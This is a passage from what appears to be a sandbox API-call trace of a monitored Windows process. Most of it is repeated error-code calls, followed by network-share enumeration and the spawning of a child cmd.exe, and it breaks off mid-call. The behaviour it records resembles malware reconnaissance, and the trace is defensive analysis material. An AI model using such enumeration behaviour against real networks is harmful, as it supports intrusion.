SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.989] GetLastError () returned 0x57 [0031.989] SetLastError (dwErrCode=0x57) [0031.990] GetLastError () returned 0x57 [0031.990] SetLastError (dwErrCode=0x57) [0031.990] GetLastError () returned 0x57 [0031.990] SetLastError (dwErrCode=0x57) [0031.990] GetLastError () returned 0x57 [0031.990] SetLastError (dwErrCode=0x57) [0031.990] GetLastError () returned 0x57 [0031.990] SetLastError (dwErrCode=0x57) [0031.990] GetLastError () returned 0x57 [0031.990] SetLastError (dwErrCode=0x57) [0031.990] GetLastError () returned 0x57 [0031.990] SetLastError (dwErrCode=0x57) [0031.990] GetLastError () returned 0x57 [0031.990] SetLastError (dwErrCode=0x57) [0031.990] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.991] SetLastError (dwErrCode=0x57) [0031.991] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.992] SetLastError (dwErrCode=0x57) [0031.992] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.993] GetLastError () returned 0x57 [0031.993] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.994] GetLastError () returned 0x57 [0031.994] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.995] GetLastError () returned 0x57 [0031.995] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.996] SetLastError (dwErrCode=0x57) [0031.996] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.997] SetLastError (dwErrCode=0x57) [0031.997] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.998] SetLastError (dwErrCode=0x57) [0031.998] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0031.999] GetLastError () returned 0x57 [0031.999] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.000] SetLastError (dwErrCode=0x57) [0032.000] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.001] GetLastError () returned 0x57 [0032.001] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.002] GetLastError () returned 0x57 [0032.002] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.003] SetLastError (dwErrCode=0x57) [0032.003] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.004] SetLastError (dwErrCode=0x57) [0032.004] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.005] SetLastError (dwErrCode=0x57) [0032.005] GetLastError () returned 0x57 [0032.006] SetLastError (dwErrCode=0x57) [0032.006] GetLastError () returned 0x57 [0032.006] SetLastError (dwErrCode=0x57) [0032.006] GetLastError () returned 0x57 [0032.006] SetLastError (dwErrCode=0x57) [0032.006] GetLastError () returned 0x57 [0032.006] SetLastError (dwErrCode=0x57) [0032.006] GetLastError () returned 0x57 [0032.006] SetLastError (dwErrCode=0x57) [0032.006] GetLastError () returned 0x57 [0032.006] SetLastError (dwErrCode=0x57) [0032.006] GetLastError () returned 0x57 [0032.006] SetLastError (dwErrCode=0x57) [0032.006] GetLastError () returned 0x57 [0032.006] SetLastError (dwErrCode=0x57) [0032.006] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.007] SetLastError (dwErrCode=0x57) [0032.007] GetLastError () returned 0x57 [0032.008] SetLastError (dwErrCode=0x57) [0032.008] GetLastError () returned 0x57 [0032.008] SetLastError (dwErrCode=0x57) [0032.008] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7788 | out: hHeap=0x7c0000) returned 1 Thread: id = 8 os_tid = 0xa7c [0032.009] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x21a) returned 0x7c5508 [0032.009] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x28) returned 0x7c1618 [0032.009] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x9c [0032.009] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xa0 [0032.009] GetComputerNameW (in: lpBuffer=0x7c5518, nSize=0xf4ff50 | out: lpBuffer="XDUWTFONO", nSize=0xf4ff50) returned 1 [0032.009] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x26) returned 0x7c1648 [0032.009] GetLastError () returned 0xcb [0032.009] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x214) returned 0x7c5730 [0032.010] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0032.010] GetCurrentThreadId () returned 0xa7c [0032.010] SetLastError (dwErrCode=0xcb) [0032.010] GetLastError () returned 0xcb [0032.010] SetLastError (dwErrCode=0xcb) [0032.010] GetLastError () returned 0xcb [0032.010] SetLastError (dwErrCode=0xcb) [0032.010] GetLastError () returned 0xcb [0032.010] SetLastError (dwErrCode=0xcb) [0032.010] GetLastError () returned 0xcb [0032.010] SetLastError (dwErrCode=0xcb) [0032.010] GetLastError () returned 0xcb [0032.010] SetLastError (dwErrCode=0xcb) [0032.010] GetLastError () returned 0xcb [0032.010] SetLastError (dwErrCode=0xcb) [0032.010] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.011] GetLastError () returned 0xcb [0032.011] SetLastError (dwErrCode=0xcb) [0032.012] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x4000) returned 0x916b90 [0032.012] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10000) returned 0x91ab98 [0032.012] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf4ff14 | out: lphEnum=0xf4ff14*=0x2e86b0) returned 0x0 [0032.660] WNetEnumResourceW (in: hEnum=0x2e86b0, lpcCount=0xf4ff0c, lpBuffer=0x916b90, lpBufferSize=0xf4ff18 | out: lpcCount=0xf4ff0c, lpBuffer=0x916b90, lpBufferSize=0xf4ff18) returned 0x103 [0032.660] WNetCloseEnum (hEnum=0x2e86b0) returned 0x0 [0032.660] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x916b90 | out: hHeap=0x7c0000) returned 1 [0032.660] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x91ab98 | out: hHeap=0x7c0000) returned 1 [0032.660] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x4000) returned 0x916b90 [0032.660] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10000) returned 0x91ab98 [0032.660] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf4fefc | out: lphEnum=0xf4fefc*=0x2e8e38) returned 0x0 [0032.660] WNetEnumResourceW (in: hEnum=0x2e8e38, lpcCount=0xf4fef4, lpBuffer=0x916b90, lpBufferSize=0xf4ff00 | out: lpcCount=0xf4fef4, lpBuffer=0x916b90, lpBufferSize=0xf4ff00) returned 0x103 [0032.660] WNetCloseEnum (hEnum=0x2e8e38) returned 0x0 [0032.661] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x916b90 | out: hHeap=0x7c0000) returned 1 [0032.661] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x91ab98 | out: hHeap=0x7c0000) returned 1 [0032.661] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x4000) returned 0x916b90 [0032.661] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10000) returned 0x91ab98 [0032.661] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf4fee4 | out: lphEnum=0xf4fee4*=0x2e86b0) returned 0x0 [0050.515] WNetEnumResourceW (in: hEnum=0x2e86b0, lpcCount=0xf4fedc, lpBuffer=0x916b90, lpBufferSize=0xf4fee8 | out: lpcCount=0xf4fedc, lpBuffer=0x916b90, lpBufferSize=0xf4fee8) returned 0x0 [0050.515] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x4000) returned 0x92cba0 [0050.516] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10000) returned 0x930ba8 [0050.516] WNetOpenEnumW (dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x916b90, lphEnum=0xf4fea4) Thread: id = 9 os_tid = 0xa80 Thread: id = 10 os_tid = 0xa84 Thread: id = 11 os_tid = 0xa90 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x44d33000" os_pid = "0xb34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa54" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 15 os_tid = 0xb38 [0038.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bfac0 | out: lpSystemTimeAsFileTime=0x2bfac0*(dwLowDateTime=0x8628e630, dwHighDateTime=0x1d52d18)) [0038.497] GetCurrentProcessId () returned 0xb34 [0038.497] GetCurrentThreadId () returned 0xb38 [0038.497] GetTickCount () returned 0x1a1ab [0038.497] QueryPerformanceCounter (in: lpPerformanceCount=0x2bfac8 | out: lpPerformanceCount=0x2bfac8*=15864515968) returned 1 [0038.498] GetModuleHandleW (lpModuleName=0x0) returned 0x4a6a0000 [0038.498] __set_app_type (_Type=0x1) [0038.498] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a6c7810) returned 0x0 [0038.498] __getmainargs (in: _Argc=0x4a6ea608, _Argv=0x4a6ea618, _Env=0x4a6ea610, _DoWildCard=0, _StartInfo=0x4a6ce0f4 | out: _Argc=0x4a6ea608, _Argv=0x4a6ea618, _Env=0x4a6ea610) returned 0 [0038.499] GetCurrentThreadId () returned 0xb38 [0038.499] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb38) returned 0x3c [0038.499] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0038.499] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0038.499] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0038.499] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.499] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfa58 | out: phkResult=0x2bfa58*=0x0) returned 0x2 [0038.499] VirtualQuery (in: lpAddress=0x2bfa40, lpBuffer=0x2bf9c0, dwLength=0x30 | out: lpBuffer=0x2bf9c0*(BaseAddress=0x2bf000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.499] VirtualQuery (in: lpAddress=0x1c0000, lpBuffer=0x2bf9c0, dwLength=0x30 | out: lpBuffer=0x2bf9c0*(BaseAddress=0x1c0000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.499] VirtualQuery (in: lpAddress=0x1c1000, lpBuffer=0x2bf9c0, dwLength=0x30 | out: lpBuffer=0x2bf9c0*(BaseAddress=0x1c1000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.499] VirtualQuery (in: lpAddress=0x1c4000, lpBuffer=0x2bf9c0, dwLength=0x30 | out: lpBuffer=0x2bf9c0*(BaseAddress=0x1c4000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.499] VirtualQuery (in: lpAddress=0x2c0000, lpBuffer=0x2bf9c0, dwLength=0x30 | out: lpBuffer=0x2bf9c0*(BaseAddress=0x2c0000, AllocationBase=0x2c0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0038.499] GetConsoleOutputCP () returned 0x1b5 [0038.500] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a6dbfe0 | out: lpCPInfo=0x4a6dbfe0) returned 1 [0038.500] SetConsoleCtrlHandler (HandlerRoutine=0x4a6c3184, Add=1) returned 1 [0038.500] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.500] SetConsoleMode (hConsoleHandle=0xfc, dwMode=0x0) returned 0 [0038.500] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.500] GetConsoleMode (in: hConsoleHandle=0xfc, lpMode=0x4a6ce194 | out: lpMode=0x4a6ce194) returned 0 [0038.500] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.500] GetConsoleMode (in: hConsoleHandle=0x98, lpMode=0x4a6ce198 | out: lpMode=0x4a6ce198) returned 0 [0038.500] GetEnvironmentStringsW () returned 0x68a60* [0038.501] GetProcessHeap () returned 0x50000 [0038.501] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xa7c) returned 0x694f0 [0038.501] FreeEnvironmentStringsW (penv=0x68a60) returned 1 [0038.501] GetProcessHeap () returned 0x50000 [0038.501] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x8) returned 0x688e0 [0038.501] GetEnvironmentStringsW () returned 0x68a60* [0038.501] GetProcessHeap () returned 0x50000 [0038.501] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xa7c) returned 0x69f80 [0038.501] FreeEnvironmentStringsW (penv=0x68a60) returned 1 [0038.501] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2be918 | out: phkResult=0x2be918*=0x44) returned 0x0 [0038.501] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x0, lpData=0x2be930*=0x18, lpcbData=0x2be914*=0x1000) returned 0x2 [0038.501] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, 